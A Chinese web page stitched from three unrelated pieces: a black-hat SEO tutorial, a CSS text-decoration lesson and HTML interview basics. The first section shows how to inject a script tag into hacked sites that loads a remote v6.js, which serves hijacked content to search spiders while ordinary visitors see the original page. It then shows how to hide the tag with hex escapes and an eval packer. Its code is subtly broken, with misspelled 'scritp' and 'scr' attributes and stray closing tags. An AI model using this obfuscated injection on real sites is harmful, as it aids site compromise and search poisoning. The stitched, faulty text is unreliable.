一些黑帽SEO要对跳转的js代码进行加密，学习JavaScript加密方式，当我们网站被黑时，看到这段代码就明白这就是快照劫持的代码，删掉即可解决网站被黑问题。今天，错误博客（cuowu.com）分享的内容为《黑帽SEO教程为html中的js跳转url加密》。希望对大家有所帮助。

一、未加密的js代码

JavaScript跳转是黑帽SEO中快照劫持常见操作手法，比如在寄生虫程序使用中，在被黑掉的html或php中增加如下代码就可以完成快照劫持：

<script type=”text/javascript” src=”http://cuowu.com/ v6.js”></script>

这段JavaScript代码的作用是引入v6.js文件，v6.js文件中的内容为if判断语句，如果访问的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等，则显示劫持的快照内容，如果是用户直接访问浏览器则会显示原页面内容。

二、16进制加密

首先把上面的命令增加为如下：

window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘)</script>;

然后，对前面双引号内的内容进行16进制加密，后面单引号内容也同样进行16进制加密，依次为：

\x64\x6f\x63\x75\x6d\x65\x6e\x74

\x77\x72\x69\x74\x65

\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73

这个可以用utf-8转16进制加密在线工具即可。错误博客站长导航里面有。

站长导航（https://cuowu.com/daohang/）

加密完成后变为：

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

三、JS混淆加密压缩

然后，把上述的js代码再次补充一下才能正常运行，即：

<script type=”text/javascript”>

window[“\x64\x6f\x63\x75\x6d\x65\x6e\x74”][“\x77\x72\x69\x74\x65”](‘\x73\x63\x72\x69\x74\x70\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x63\x72\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x75\x6f\x77\x75\x2e\x63\x6f\x6d\x2f\x76\x36\x2e\x6a\x73’)</script>;

</script>

把中间window到</script>;的内容利用站长工具的JS混淆加密压缩就可以得到eval加密形式，错误博客站长导航里面有。

站长导航（https://cuowu.com/daohang/）

获得如下加密代码如下：

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

最终获得的加密代码如下：

<script type=”text/javascript”>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?””:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](\’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2\’)</p>;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))

</script>

这就是全部的js加密压缩过程了，解压过程反过来推就可以了。

以上就是错误博客（https://cuowu.com/）分享的内容为《黑帽SEO为html中的js加密（js混淆与16进制加密）》。感谢您的阅读。更多原创搜索“错误博客”。

过CSS文本装饰可以为文本添加装饰线、为装饰线设置颜色、为装饰线指定风格、为装饰线设置厚度等效果。

为文本添加装饰线通过 text-decoration-line 属性实现，可以结合一个以上的值，如上划线和下划线，来显示文本上方和下方的线条。具体的值有三个：

overline，在文本上方添加线条修饰。

line-through，在文本中间添加线条修饰，实现了删除线的效果。

underline，在文本下方添加线条修饰，实现了下划线的效果。

我们来做个例子。

打开编辑器，在 005 文件夹下创建 decoration.html 文件，构建好基本代码。

添加 h1，h2，h3，p 四个元素。分别填入一些文本。

在 005 文件夹下再创建一个 mystyle-3.css 文件，

定义 h1 选择器，声明样式属性 text-decoration-line，值为 overline。

定义 h2 选择器，也声明样式属性 text-decoration-line，值为 line-through。

定义 h3 选择器，再声明样式属性 text-decoration-line，值为 underline。

回到页面，通过 link 元素引入 mystyle-3.css 这个外部样式。

在浏览器上预览效果，我们看：上边线、删除线和下划线就做好了！

实际上，可以同时给文本添加多个线条，实现方法是给 text-decoration-line

[ˌdekəˈreɪʃn】属性设置多个值，每个值通过空格分开。

在 mystyle-3.css 再定义一个 p 选择器，声明样式属性 text-decoration-line，值写为 overline underline （读作overline 空格 underline ）。

看一下效果，段落被添加了两条装饰线。

有的小伙伴还记得，给文本添加链接后，浏览器会默认给这个文本添加一个下划线。所以，添加了链接的文本就不要使用 underline 下划线装饰了。

为文本设置装饰线的颜色通过 text-decoration-color 属性实现，属性值为任意合法的颜色值。

给 h1 元素设置 text-decoration-color 属性，颜色值设置为 red。再快速的给 h2，h3，p 元素设置 text-decoration-color 属性，值分别为 blue，green，purple。

我们看，线条都有了颜色。

为装饰线指定风格通过 text-decoration-style 属性实现，属性值有五个：

solid，实线。

double，双实线。

dotted，圆点线。

dashed[dæʃt]，虚线。

wavy[ˈweɪvi]，波浪线。

为了演示方便，在 html 中再添加一个标题 h4，填入一些文本，在 css 中将全部元素的 text-decoration-line 样式属性都设置为 underline。再定义一个 h4 选择器，声明样式 text-decoration-line: underline。

给 h1， h2，h3，h4，p 全部添加 text-decoration-style 属性，值分别为 solid，double，dotted，dashed[dæʃt]，wavy。

这样，各种线条的风格就设置好了！

通过 text-decoration-thickness 属性为线条设置厚度，也就是线条的粗细。属性值有三种设置方法：

auto， 默认值，这个值是不确定的，和所修饰的文字大小有关系。

px，像素大小，是一个绝对值。比如 5px。

%，是一个相对值，根据修饰文字的高度计算出来。比如 25%。

在 h1 元素上声明样式属性 text-decoration-thickness，值为 auto。在 h2，h3 上也声明这个样式属性，值分别为 5px，50%。

在浏览器里仔细观察，h1 上的下划线厚度是浏览器给的默认值。h2 上的下划线厚度是 5px。h3 上的下划线厚度为文字高度的一半。

回到样式表代码，我们分析一下：每个文本修饰的属性名，均为三个单词连接起来的，这样写起来比较啰嗦，能不能简化一下呢？可以的！

h1 {

/* text-decoration-line: overline; */

text-decoration-line: underline;

text-decoration-color: red;

text-decoration-style: solid;

text-decoration-thickness: auto;

}

神一般都是那种拿起项目直接开始干的，但是大神在找工作的时候也会面对面试这一环节，如果遇见只考问高层次以及专业知识的那也就罢了，但是遇见刁难的，问你最基础的知识，其实很难会回答的出来。很多定义虽说早已已经烂熟于心，但是遇见这样的时候，还是要做好准备的。

HTML指的是超文本标记语言:HyperTextMarkupLanguage

HTML标记标签通常被称为HTML标签(HTMLtag)<标签>内容</标签>

HTML元素包含了开始标签与结束标签，元素的内容是开始标签与结束标签之间的内容，元素属性是HTML元素提供的附加信息。

HTML基础知识：

1、HTML的历史：HTML，XHTML

2、HTML的全局属性：全局标准属性，全局事件属性

3、HTML的元素：

4、标记语言，是一种将文本以及与文本相关的其他信息结合起来，展现出关于文档结构和数据处理细节的电脑文字编码。

5、HTML，为超文本标记语言。

6、XHTML是可扩展超文本标记语言，是一种更纯洁，更严格，更规范的html代码。

7、html文件由文件头和文件体两部分组成。

8、标签的分类：双标签，单标签。

很多能力强大的程序员会觉得，遇见这样的面试问题，是毫无意义的。但是有的时候要记住，机会是留给有准备的人，事无大小。